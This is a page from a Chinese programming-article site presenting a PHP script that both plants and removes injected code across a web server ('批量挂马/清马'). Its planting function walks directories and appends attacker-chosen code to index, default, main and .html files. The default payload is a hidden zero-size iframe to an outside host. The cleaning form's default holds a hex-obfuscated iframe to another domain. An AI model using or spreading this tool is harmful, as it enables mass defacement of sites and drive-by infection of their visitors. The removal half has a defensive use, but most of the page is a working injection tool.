欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

php下批量挂马和批量清马代码

程序员文章站 2022-03-20 12:51:26
复制代码 代码如下:
复制代码 代码如下:

<?php
function gmfun($path=”.”)
{
$d = @dir($path);
while(false !== ($v = $d->read())) {
if($v == “.” || $v == “..”) continue;
$file = $d->path.”/”.$v;
if(@is_dir($file)) {
gmfun($file);
} else {
if(@ereg(stripslashes($_post["key"]),$file)) {
$mm=stripcslashes( trim( $_post[mm] ) );
$handle = @fopen (”$file”, “a”);
@fwrite($handle, “$mm”);
@fclose($handle);
echo “已挂马文件:$file\n<br>”;

}
}
}
$d->close();
echo ” “;
}
function qmfun($path=”.”)
{
$d = @dir($path);
while(false !== ($v = $d->read())) {
if($v == “.” || $v == “..”) continue;
$file = $d->path.”/”.$v;
if(@is_dir($file)) {
qmfun($file);
} else {
if(@ereg(stripslashes($_post["key"]),$file)) {
$mm=stripcslashes( trim( $_post[mm] ) );
$handle = fopen (”$file”, “rb”);
$oldcontent=fread($handle,filesize($file));
fclose($handle);
$newcontent=str_replace($mm,””,$oldcontent);
$fw = fopen (”$file”, “wb”);
fwrite($fw,$newcontent,strlen($newcontent));
fclose($fw);
echo “已清马文件:$file\n<br>”;

}
}
}
$d->close();
echo ” “;
}

if ($_get['action']=='gm') {
set_time_limit(0);
gmfun($_post["dir"]);
}
if ($_get['action']=='qm') {
set_time_limit(0);
qmfun($_post["dir"]);
}
?>
<title>批量挂马(清马)程序php版</title><body>
<form action=”<?$php_self?>?action=gm” method=”post”>
<table border=”0″ align=”center” cellpadding=”0″ cellspacing=”0″>
<tr>
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”><font color=”#00ff00″ size=”4″>网站批量挂马程序php版
by n3tl04d</font></div>
<td> </tr>
<tr>
<td height=”27″ bgcolor=”#cccccc”>路径:</td>
<td height=”27″ bgcolor=”#cccccc”> <input name=”dir” type=”text” value=”.”>(可填相对路径)
<td> </tr>
<tr>
<td height=”27″ bgcolor=”#cccccc”>挂马关键字:</td>
<td height=”27″ bgcolor=”#cccccc”> <input name=”key” type=”text” value='index\.|default\.|main\.|\.html'>—–正则表达式匹配——
<td colspan=”2″ height=”1″></td>
<td> </tr>
<tr>
<td height=”25″ bgcolor=”#cccccc”>想写入的挂马代码:</td>
<td height=”25″ bgcolor=”#cccccc”><input name=”mm” type=”text” size=”50″ value='<iframe src=http://982.9966.org/b073399/b07.htm width=0 height=0 frameborder=0></iframe>'>
<td> </tr>
<tr>
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”>
<input type=”submit” name=”submit” value=”提交”>
  
<input type=”reset” name=”submit2″ value=”重置”>
</div></td>
<td> </tr>
</table>
</form>
<form action=”<?$php_self?>?action=qm” method=”post”>
<table border=”0″ align=”center” cellpadding=”0″ cellspacing=”0″>
<tr>
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”><font color=”#00ff00″ size=”4″>批量清马工具php版
by 随风而去(lst)</font></div>
<td> </tr>
<tr>
<td height=”27″ bgcolor=”#cccccc”>路径:</td>
<td height=”27″ bgcolor=”#cccccc”> <input name=”dir” type=”text” value=”.”>(可填相对路径)
<td> </tr>
<tr>
<td height=”27″ bgcolor=”#cccccc”>清马关键字:</td>
<td height=”27″ bgcolor=”#cccccc”> <input name=”key” type=”text” value='index\.|default\.|main\.|\.html'>—–正则表达式匹配——
<td colspan=”2″ height=”1″></td>
<td> </tr>
<tr>
<td height=”25″ bgcolor=”#cccccc”>想清除的挂马代码:</td>
<td height=”25″ bgcolor=”#cccccc”><input name=”mm” type=”text” size=”50″ value='<iframe src=http://%31%73%61%6e%69%32%6b%6d%2e%63%6e/%6a%6a%32.htm width=50 height=0 frameborder=0></iframe>'>
<td> </tr>
<tr>
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”>
<input type=”submit” name=”submit” value=”提交”>
  
<input type=”reset” name=”submit2″ value=”重置”>
</div></td>
<td> </tr>
</table>
</form>